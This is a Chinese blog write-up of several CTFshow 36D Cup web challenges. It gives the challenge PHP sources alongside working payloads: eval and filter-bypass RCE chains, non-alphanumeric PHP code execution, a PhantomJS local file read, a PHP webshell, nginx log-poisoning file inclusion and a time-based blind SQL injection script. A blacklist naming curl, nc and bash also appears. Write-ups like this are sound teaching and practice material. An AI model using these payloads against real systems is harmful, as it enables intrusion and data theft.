赞
踩
打开题目首先F12,得到信息
那么?view_source=
得到了源码:
<?php //It's no need to use scanner. Of course if you want, but u will find nothing. error_reporting(0); include "config.php"; if (isset($_GET['view_source'])) { show_source(__FILE__); die; } function checkCookie($s) { $arr = explode(':', $s); if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) { return true; } else { if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1); return false; } } function haveFun($_f_g) { $_g_r = 32; $_m_u = md5($_f_g); $_h_p = strtoupper($_m_u); //strtoupper — 将字符串转化为大写 for ($i = 0; $i < $_g_r; $i++) { $_i = substr($_h_p, $i, 1); $_i = ord($_i); print_r($_i & 0xC0); } die; } isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 ); checkCookie($json) ? $obj = @json_decode($json, true) : die('no'); if ($obj && isset($_GET['give_me_shell'])) { ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path"; } die;
三目运算符(expr1) ? (expr2) : (expr3) :
表达式 (expr1) ? (expr2) : (expr3) 在 expr1 求值为 TRUE 时的值为 expr2,在 expr1 求值为 FALSE 时的值为 expr3
代码逻辑如下:(师傅写的文章)
- 有个名为secret的cookie,存的是json
- checkCookie()函数要求这个json只有一对键值,并且不能有乱七八糟的其他符号
- check过了就会json_decode()并且保存在$obj里
- 如果secret对应值和$flag_md5相等则给出shell,不等则调用haveFun()函数
- haveFun()函数的for循环中用i和flag的md5按位&运算并输出结果
弱类型
需要比较$obj['secret'] != $flag_md5
haveFun()
是做&运算,如果是数字和0xC0来&结果就是0,如果是字母则结果是64,即
1100 0000 0xC0
0100 0001 A
0101 1010 Z 与运算为0100 0000
0011 0000 0
0011 1001 9 与运算为0000 0000
根据返回的前3位是0可知是3位数的弱类型
JSON伪造
$obj['secret']
是在cookie的JSON进行decode得到的,然而直接这样的JSON会返回字符串,不能用弱类型:
{"secret":"100"}
正则匹配 /^[\"0-9A-Z]*}$/
正则直接将引号放到了[]
里面,后面限定还是使用了星号,这意味着可以不使用双引号,对于没有双引号的话json_decode()就可以得到int了
secret=%7B%22secret%22%3A§100§%7D
访问w3b5HeLLlll123.php得到:
<?php error_reporting(0); session_start(); //there are some secret waf that you will never know, fuzz me if you can require "hidden_filter.php"; if (!$_SESSION['login']) die('<script>location.href=\'./index.php\'</script>'); if (!isset($_GET['code'])) { show_source(__FILE__); exit(); } else { $code = $_GET['code']; if (!preg_match($secret_waf, $code)) { //清空session 从头再来 eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker } else die('hacker'); } /* * When you feel that you are lost, do not give up, fight and move on. * Being a hacker is not easy, it requires effort and sacrifice. * But remember … we are legion! * ————Deep CTF 2020 */
过滤了:
y1ng师傅分析如下:
没括号 只能执行很少不需要括号的函数 比如echo “aaa”;
然后又没有引号 不能自己传值
还没有空格 执行函数的话必须后面直接接上东西
没有分号,很恶心
命令在$_SESSION[' ']
里,还需要先逃逸出来
没有$
和分号,命令拼接无效
师傅的playload:?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
师傅的解释如下:
首先用]=1来把session给闭合了
分号作为PHP语句的结尾,起到表示语句结尾和语句间分隔的作用,而对于php的单行模式是不需要分号的,因此用?><?来bypass分号
没有括号 使用那些不需要括号的函数 这里使用require
没有引号表示不能自己传参数,这里使用取反运算
由于PHP黑魔法 require和取反运算符之间不需要空格照样执行
最后取反/flag包含一下flag即可
?code=]=1?><?=require~%d0%99%93%9e%98?>
考点:CVE-2019-17221、PhantomJS任意文件读取
买了服务器,可以抄wp了。。。
首先创建html写入以下代码:
<html>
<head>
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///flag");
x.send();
</script>
</body>
</head>
</html>
然后点击Download即可得到flag
题目给出源码:
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>
最后为eval("echo($code);");
可以直接无字母数字的自增RCE,P神的payload
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
需要先把前面echo()
给闭合了然后上Payload之后再把后面给闭合掉,最后为:
?code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1
最后命令执行即可_=system('cat /flag');
没有限制我们用$
和[]
,直接用数组下标取出黑名单中的值,即$_[0]=a,$_[1]=b
,那么可以用点号将单个字符连接构成相应的函数
最终我们需要的payload:$__='system';$___='ls';$__($___);:
师傅的拼接脚本:
s=['a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^']
word=input()
code=''
for j in word:
if j in s:
code+='$_['+str(s.index(j))+'].'
else:
code+="'"+j+"'"+"."
print(code)
可以得到:
system=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11]
ls=$_[13].$_[18]
cat=$_[2].$_[0].$_[19]
flag=$_[5].$_[13].$_[0].$_[6]
最后直接cat /flag:
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);(1
题中的代码给了$hint,读取一下。
payload:?code=${$_[7].$_[8].$_[12].$_[19]}
那么即可下载压缩包,但得出来的是一个混淆后的php文件,大佬的解密php脚本:
<?php function decrypt($data, $key) { $data_1 = ''; for ($i = 0; $i < strlen($data); $i++) { $ch = ord($data[$i]); if ($ch < 245) { if ($ch > 136) { $data_1 .= chr($ch / 2); } else { $data_1 .= $data[$i]; } } } $data_1 = base64_decode($data_1); $key = md5($key); $j = $ctrmax = 32; $data_2 = ''; for ($i = 0; $i < strlen($data_1); $i++) { if ($j <= 0) { $j = $ctrmax; } $j--; $data_2 .= $data_1[$i] ^ $key[$j]; } return $data_2; } function find_data($code) { $code_end = strrpos($code, '?>'); if (!$code_end) { return ""; } $data_start = $code_end + 2; $data = substr($code, $data_start, -46); return $data; } function find_key($code) { // $v1 = $v2('bWQ1'); // $key1 = $v1('??????'); $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');"); $pos2 = strrpos(substr($code, 0, $pos1), '$'); $pos3 = strrpos(substr($code, 0, $pos2), '$'); $var_name = substr($code, $pos3, $pos2 - $pos3 - 1); $pos4 = strpos($code, $var_name, $pos1); $pos5 = strpos($code, "('", $pos4); $pos6 = strpos($code, "')", $pos4); $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2); return $key; } $input_file = $argv[1]; $output_file = $argv[1] . '.decrypted.php'; $code = file_get_contents($input_file); $data = find_data($code); if (!$code) { echo '未找到加密数据', PHP_EOL; exit; } $key = find_key($code); if (!$key) { echo '未找到秘钥', PHP_EOL; exit; } $decrypted = decrypt($data, $key); $uncompressed = gzuncompress($decrypted); // 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩 if ($uncompressed) { $decrypted = str_rot13($uncompressed); } else { $decrypted = str_rot13($decrypted); } file_put_contents($output_file, $decrypted); echo '解密后文件已写入到 ', $output_file, PHP_EOL;
用法:php 该解密脚本 待解密的php文件
,得到:
为一句话木马:@assert($_POST[6]);
蚁剑连接即可
最后看到还有个师傅按位或的,记录一下。
在这张图表上,’@’|’(任何左侧符号)’==’(右侧小写字母)’
即'@'|'!'=='a'
,那么 ('@@@@'|'().4')=='hint'
最后?code=($_ = '@@@@'|'().4') == 1?1:$$_
wh1sper:CTFshow 36D杯
题目给出了源码:
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); function isPalindrome($str){ $len=strlen($str); $l=1; $k=intval($len/2)+1; for($j=0;$j<$k;$j++) if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) { $l=0; break; } if ($l==1) return true; else return false; } //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; $numPositve = intval($num); $numReverse = intval(strrev($num)); if (preg_match('/[^0-9.-]/', $num)) { die("非洲欢迎你1"); } if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧 die("非洲欢迎你2"); } if( $numPositve === $numReverse && !isPalindrome($num) ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5(md5($md5))) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag); $get_flag = str_ireplace("more", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag); $get_flag = str_ireplace("less", "36dCTFShow", $get_flag); $get_flag = str_ireplace("head", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag); $get_flag = str_ireplace("$", "36dCTFShow", $get_flag); $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag); $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag); $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag); $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag); $get_flag = str_ireplace("php", "36dCTFShow", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
第一关需要传一个整数进去,但又有小数点,浮点精度问题。传进去的是回文又不是回文,是个矛盾判断,使用100.0010
即可,最后是!isPalindrome($num)
,在后面再加上一个0即可
payload:?num=1000000000000000.00000000000000010 或 ?num=00.0
第二关是md5碰撞$md5==md5(md5($md5))
,使用师傅的脚本
import hashlib
for i in range(0,10**33):
i = str(i)
num = '0e' + i
md5 = hashlib.md5(num.encode()).hexdigest()
md5 = hashlib.md5(md5.encode()).hexdigest()
# print(md5)
if md5[0:2] == '0e' and md5[2:].isdigit():
print('success str:{} md5(str):{}'.format(num, md5))
break
else:
if int(i) % 1000000 == 0:
print(i)
得到0e1138100474
第三关命令执行,直接使用\
即可绕过过滤
?get_flag=ca\t</flag
?get_flag=rev</flag|rev
?get_flag=c\at%09/flag
首先得到index.php.bak
visit all_info_u_want.php and you will get all information you want = =Thinking that it may be difficult, i decided to show you the source code: <?php error_reporting(0); //give you all information you want if (isset($_GET['all_info_i_want'])) { phpinfo(); } if (isset($_GET['file'])) { $file = "/var/www/html/" . $_GET['file']; //really baby include include($file); } ?> really really really baby challenge right?
访问all_info_u_want.php?all_info_i_want=
即可获得phpinfo()的信息
由http回包header得知是NGINX,那么直接可以包含日志文件
all_info_u_want.php?file=../../../../../var/log/nginx/access.log
但是因为url会被url编码,可以把一句话木马写在User-Agent,另外记得一定要闭合不然php执行会出错,包含即可RCE:
连上蚁剑即可获取flag
假的假的,需要找真flag,使用命令find /etc -name "*" | xargs grep "flag{"
找到即可
只要自身包含自身就进入了死循环,死循环要么被用户打断要么被nginx超时掉,php执行没有结束,临时文件就得以保存
另外,可以通过phpinfo()来看临时文件的位置,带上all_info_i_want参数来打开phpinfo,然后开始自身包含,写个上传表单:
<html>
<form action="https://44ff57cf-cbbe-4ef5-a9c4-4ee656a6f814.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="提交">
</form>
</body>
</html>
上传后直接手工停掉他的死循环防止卡死,然后phpinfo里就能看到临时文件
然候访问用蚁剑连接即可
F12得到了信息
if (!preg_match('/admin/', $uname)) die;
select * from 36d_user where username='$uname' and password='$passwd';
fuzz发现ban掉了:
admin\
把单引号注释掉让后面$passwd逃逸出去,直接上师傅的脚本
import requests import time as t url = 'https://5bf6ae8e-105a-4a64-bb5c-80fc5fb8ff41.chall.ctf.show/index.php' alphabet = ['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'] data = { 'username':'admin\\', 'password':'' } result = '' for i in range(20): for char in alphabet: payload = 'or/**/if((password/**/regexp/**/binary/**/"^{}"),sleep(4),1)#'.format(result+char) data['password'] = payload #time start = int(t.time()) r = requests.post(url, data=data) end = int(t.time()) - start if end >= 3: result += char print(result) break # else: # print(char) # print(r.text)
使用密码ILoVeThlrtySixD
登录即可得到flag。
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。